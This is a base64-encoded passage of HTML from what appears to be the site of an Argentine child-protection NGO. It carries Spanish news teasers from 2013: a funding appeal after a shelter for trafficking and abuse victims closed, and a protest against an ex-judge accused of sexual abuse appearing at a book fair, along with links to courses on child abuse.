WdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPC